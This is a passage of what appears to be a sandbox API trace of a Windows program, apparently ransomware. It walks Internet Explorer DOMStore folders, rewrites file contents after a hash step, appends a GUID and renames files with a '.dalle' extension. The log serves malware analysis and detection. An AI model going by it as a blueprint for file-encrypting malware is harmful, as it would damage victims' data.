ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="grm", cAlternateFileName="")) returned 1 [0122.669] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="itl", cAlternateFileName="")) returned 1 [0122.670] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nrw", cAlternateFileName="")) returned 1 [0122.670] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="prt", cAlternateFileName="")) returned 1 [0122.670] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="spn", cAlternateFileName="")) returned 1 [0122.670] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="swd", cAlternateFileName="")) returned 1 [0122.670] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="swd", cAlternateFileName="")) returned 0 [0122.670] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.671] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0122.671] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac838 | out: hHeap=0x5e0000) returned 1 [0122.671] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.671] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.671] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\") returned="36USA68T\\" [0122.671] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0122.671] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0122.671] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0122.671] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.671] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.671] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.671] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.671] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0122.671] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.671] PathFindFileNameW (pszPath="") returned="" [0122.671] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.671] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.672] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.672] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b05050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="imagesrv.adition[1].xml", cAlternateFileName="IMAGES~1.XML")) returned 1 [0122.672] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml") returned=".xml" [0122.672] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0122.672] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=13) returned 1 [0122.672] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0122.674] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.674] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xd, lpOverlapped=0x0) returned 1 [0122.675] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.675] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.675] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.675] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0e30) returned 1 [0122.675] CryptCreateHash (in: hProv=0x6c0e30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0122.675] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0122.676] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0122.676] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0122.676] GetLastError () returned 0x0 [0122.676] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0122.676] CryptReleaseContext (hProv=0x6c0e30, dwFlags=0x0) returned 1 [0122.676] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0122.676] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0122.676] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0122.676] WriteFile (in: hFile=0x618, lpBuffer=0x388fb34*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x388fb34*, lpNumberOfBytesWritten=0x388fb24*=0x8, lpOverlapped=0x0) returned 1 [0122.676] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.676] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0122.676] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0122.676] CloseHandle (hObject=0x618) returned 1 [0122.677] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xf0) returned 0x2fee9b8 [0122.677] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x900) returned 0x3093b88 [0122.677] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fee9b8 | out: hHeap=0x5e0000) returned 1 [0122.677] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml.dalle")) returned 1 [0122.678] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0122.678] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.679] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f84e20 | out: hHeap=0x5e0000) returned 1 [0122.679] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b05050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="imagesrv.adition[1].xml", cAlternateFileName="IMAGES~1.XML")) returned 0 [0122.679] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.679] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0122.679] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6e48 | out: hHeap=0x5e0000) returned 1 [0122.679] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.679] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6e48 [0122.679] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.679] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.679] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.679] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.679] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.679] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.679] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.679] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.679] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.679] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.679] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.679] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.679] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.679] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.679] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.679] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.679] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.679] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.679] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.679] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0122.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0122.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0122.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.682] RtlAllocateHeap 